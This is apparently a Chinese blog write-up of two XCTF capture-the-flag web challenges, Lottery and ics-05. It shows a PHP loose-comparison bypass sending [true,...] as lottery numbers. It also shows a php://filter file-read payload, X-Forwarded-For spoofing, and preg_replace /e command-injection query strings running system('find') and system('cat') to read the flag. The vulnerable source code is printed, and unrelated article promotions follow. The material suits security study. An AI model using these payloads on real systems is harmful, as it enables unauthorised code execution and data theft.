双剑破天门:攻防世界Web题解之独孤九剑心法(十)

双剑破天门:攻防世界Web题解之独孤九剑心法(十)

免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任


**本文以攻防世界部分题为例进行演示,后续会对攻防世界大部分的web题目进行演示,如果你感兴趣请关注**


目录

一:Lottery

二:ics-05

三:总结


一:Lottery

打开后发现这个靶场加载异常缓慢,然后他还给了源码,我们先不看源码先熟悉一下这个网站是什么

这应该是一个类似猜数字游戏,选对7个号码即可得到相应奖励

然后注册

随便输入7个数字发现一个也没中,白费2元

然后我们随便点击这个网站的功能发现如果想要flag需要有相对应的余额

我们这会的思路就是利用bp抓包看看能不能修改我们的余额

好像成功了,我们试一试能不能换flag

居然说没有足够的钱,这个方法不行只要将页面上的数字修改只要刷新就会变回原来的余额

居然不能修改余额那就看看在猜数字的页面有没有突破口,发现其访问了api.php我们继续代码审计

看到如下核心代码,首先随机生成七位数字(random_win_nums)然后将其赋值给$win_number。随后关键点就是他使用的是两个等号来判断我们传入的数字和随机生成的数字,既然这样那直接可以利用true绕过,因为不检查类型


代码如下

//部分代码 function random_num(){ do { $byte = openssl_random_pseudo_bytes(10, $cstrong); $num = ord($byte); } while ($num >= 250); if(!$cstrong){ response_error('server need be checked, tell admin'); } $num /= 25; return strval(floor($num)); } function random_win_nums(){ $result = ''; for($i=0; $i<7; $i++){ $result .= random_num(); } return $result; } function buy($req){ require_registered(); require_min_money(2); $money = $_SESSION['money']; $numbers = $req['numbers']; $win_numbers = random_win_nums(); $same_count = 0; for($i=0; $i<7; $i++){ if($numbers[$i] == $win_numbers[$i]){ $same_count++; } } switch ($same_count) { case 2: $prize = 5; break; case 3: $prize = 20; break; case 4: $prize = 300; break; case 5: $prize = 1800; break; case 6: $prize = 200000; break; case 7: $prize = 5000000; break; default: $prize = 0; break; } $money += $prize - 2; $_SESSION['money'] = $money; response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]); } 

抓到其流量包我们拦截回应包修改

利用php的弱类型比较

直接将numbers字段改为[true,true,true,true,true,true,true]

成功利用弱类型得到奖金

成功拿到flag


二:ics-05

打开如下所示

随便点击发现只有此页面可打开,但是好像什么都没有,我们打开页面源代码查看一下

发现一个href可点

打开如下,好像没什么特别的

我们修改其为index.php回显ok,既然这样那么如果我们能够读取到这个index.php应该就可以拿到flag

读取文件使用伪协议

php://filter/read=convert.base64-encode/resource=index.php

复制这个base64然后解密

打开代码后观察如下代码

如果ip为127.0.0.1就是admin,然后还有一个preg_replace方法,pattern第一个参数的结尾包含了/e修正符的话,第二个参数就会被当做php代码执行

打开bp,修改ip后为admin

然后添加三个参数

?pat=/heihei/e&rep=system('find+-name+*flag*')&sub=heihei

需要使用+置换空格 得到flag.php

成功拿到flag但注意flag不在页面渲染中显示

?pat=/heihei/e&rep=system('cat+./s3chahahaDir/flag/flag.php')&sub=heihei

解密后的index.php代码

<?php error_reporting(0); @session_start(); posix_setuid(1000); ?> <!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <meta name="renderer" content="webkit"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <link rel="stylesheet" href="layui/css/layui.css" media="all"> <title>设备维护中心</title> <meta charset="utf-8"> </head> <body> <ul> <li><a href="?page=index">云平台设备维护中心</a></li> </ul> <fieldset> <legend>设备列表</legend> </fieldset> <table></table> <script type="text/html"> <!-- 这里的 checked 的状态只是演示 --> <input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}> </script> <script src="layui/layui.js" charset="utf-8"></script> <script> layui.use('table', function() { var table = layui.table, form = layui.form; table.render({ elem: '#test', url: '/somrthing.json', cellMinWidth: 80, cols: [ [ { type: 'numbers' }, { type: 'checkbox' }, { field: 'id', title: 'ID', width: 100, unresize: true, sort: true }, { field: 'name', title: '设备名', templet: '#nameTpl' }, { field: 'area', title: '区域' }, { field: 'status', title: '维护状态', minWidth: 120, sort: true }, { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true } ] ], page: true }); }); </script> <script> layui.use('element', function() { var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块 //监听导航点击 element.on('nav(demo)', function(elem) { //console.log(elem) layer.msg(elem.text()); }); }); </script> <?php $page = $_GET[page]; if (isset($page)) { if (ctype_alnum($page)) { ?> <br /><br /><br /><br /> <div> <p><?php echo $page; die();?></p> <br /><br /><br /><br /> <?php }else{ ?> <br /><br /><br /><br /> <div> <p> <?php if (strpos($page, 'input') > 0) { die(); } if (strpos($page, 'ta:text') > 0) { die(); } if (strpos($page, 'text') > 0) { die(); } if ($page === 'index.php') { die('Ok'); } include($page); die(); ?> </p> <br /><br /><br /><br /> <?php }} //方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试 if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { echo "<br >Welcome My Admin ! <br >"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } } ?> </body> </html>

三:总结

本文通过攻防世界中的两个Web题目(Lottery和ics-05)演示了如何利用代码审计和漏洞挖掘技术获取flag。在Lottery题目中,通过分析网站的猜数字游戏功能,发现使用PHP的弱类型比较漏洞,成功绕过验证并获取奖金和flag。在ics-05题目中,通过修改IP地址和利用PHP的preg_replace函数执行系统命令,成功读取并解密index.php文件,最终获取flag。


(需要源代码及各类资料联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)

Read more

乡村政务办公系统信息管理系统源码-SpringBoot后端+Vue前端+MySQL【可直接运行】

乡村政务办公系统信息管理系统源码-SpringBoot后端+Vue前端+MySQL【可直接运行】

摘要 随着乡村振兴战略的深入推进,乡村政务信息化建设成为提升基层治理能力的关键环节。传统的乡村政务管理方式存在效率低下、信息孤岛、数据共享困难等问题,亟需通过现代化信息技术手段进行优化升级。乡村政务办公系统信息管理系统的开发旨在实现政务信息的数字化、网络化和智能化管理,提高乡村政务工作的透明度和服务效率。该系统通过整合资源、优化流程,为乡村干部和村民提供便捷的政务办理和信息查询服务,推动乡村治理体系和治理能力现代化。关键词:乡村振兴、政务信息化、基层治理、数字化管理、服务效率。 本系统采用前后端分离架构,后端基于SpringBoot框架实现高效稳定的业务逻辑处理,前端使用Vue.js框架构建交互友好的用户界面,数据库采用MySQL存储和管理数据。系统功能涵盖用户管理、帮扶信息管理、新闻公告发布等模块,支持多角色权限控制,确保数据安全性。系统通过RESTful API实现前后端数据交互,并采用JWT进行身份认证,保障系统安全可靠。此外,系统还支持数据可视化展示,便于乡村政务数据的统计与分析。关键词:SpringBoot、Vue.js、MySQL、权限控制、数据可视化。 数据表设计

全Web化智慧PACS/RIS系统源码 (纯B/S架构)

全Web化智慧PACS/RIS系统源码 (纯B/S架构)

告别传统C/S架构的笨重客户端!本套源码采用纯Web前端技术实现极速调阅,支持CT、核磁(MR)、DR、超声等多模态影像。内置专业级Web Viewer,支持MPR多平面重建、MIP、VR体渲染。自带RIS全流程管理。100%无加密源码交付,是医疗软件公司打造云PACS、区域影像中心的核心利器! 一、 为什么医疗企业都在寻找真正的WebPACS? 传统的PACS系统多采用C++或C#开发,需要医生在电脑上一台台安装庞大的客户端,维护成本极高,且无法适应如今“互联网医院”和“医共体远程诊断”的需求。 * 极速跨平台: 本系统基于HTML5+WebGL技术,医生只需打开浏览器,即可实现秒级加载百兆级影像,支持Windows、Mac甚至iPad移动阅片。 * 省去百万研发费: 医疗影像的底层解析(如窗宽窗位调节、各种DICOM Tag解析、图像无损压缩算法)是深水区,直接购买本源码,省去2-3年以上的底层图形学研发周期。 * 高价值变现: 本源码不仅可独立作为医院影像科管理系统出售,更可作为“影像插件”

AI智能二维码工坊如何提升效率?WebUI集成部署实战指南

AI智能二维码工坊如何提升效率?WebUI集成部署实战指南 1. 为什么你需要一个“不掉链子”的二维码工具? 你有没有遇到过这些场景: * 做活动海报时,临时要生成50个带不同参数的二维码,结果在线生成器卡在加载页,刷新三次才出图; * 客服同事发来一张模糊的手机截图,里面有个二维码,你放大十倍也扫不出来,最后只能手动抄网址; * 想批量识别一批商品包装上的二维码,却发现手头的工具一次只能传一张,还动不动报“解码失败”; * 部署一个内部系统,想嵌入二维码生成功能,但引入的库要么依赖太多,要么启动就报错“找不到opencv-python”。 这些问题,不是因为技术太难,而是因为——用错了工具。 AI智能二维码工坊(QR Code Master)不是另一个“看着很炫、用着很累”的AI玩具。它不调用大模型,不联网请求API,不下载几百MB权重文件。它只做一件事:把二维码这件事,做得又快、又稳、又省心。 它用的是经过20年验证的QR Code标准算法 + OpenCV工业级图像处理能力,打包成一个开箱即用的WebUI镜像。今天这篇指南,就带你从零开始,

Qwen-Image-Edit快速上手:3类高频指令(背景/配饰/风格)+5个避坑提示

Qwen-Image-Edit快速上手:3类高频指令(背景/配饰/风格)+5个避坑提示 想不想体验一下“一句话修图”的魔法?不用再打开复杂的PS软件,也不用学习各种图层和蒙版,你只需要告诉AI你想怎么改,它就能帮你搞定。 今天要介绍的就是这样一个工具:Qwen-Image-Edit。它基于阿里通义千问团队开源的强大模型,经过深度优化后,可以直接在你的本地电脑上运行。你上传一张照片,输入一句像“把背景换成海边日落”或者“给这只猫戴上小领结”这样的话,它就能精准地理解你的意思,对图片进行像素级的修改,而且原图的细节、光影、人物神态都能被完美保留下来。 最棒的是,整个过程完全在本地进行,你的照片数据不会上传到任何云端服务器,隐私和安全有绝对保障。经过显存优化后,即使在消费级显卡上也能流畅运行,真正做到“秒级出图”。 这篇文章,我就带你快速上手这个神奇的图像编辑工具。我会重点分享三类你最可能用到的编辑指令,并告诉你五个新手最容易踩的坑,帮你从一开始就玩得顺畅。 1. 环境准备与快速启动 在开始施展“修图魔法”之前,我们需要先把“魔法阵”——也就是Qwen-Image-Edit环境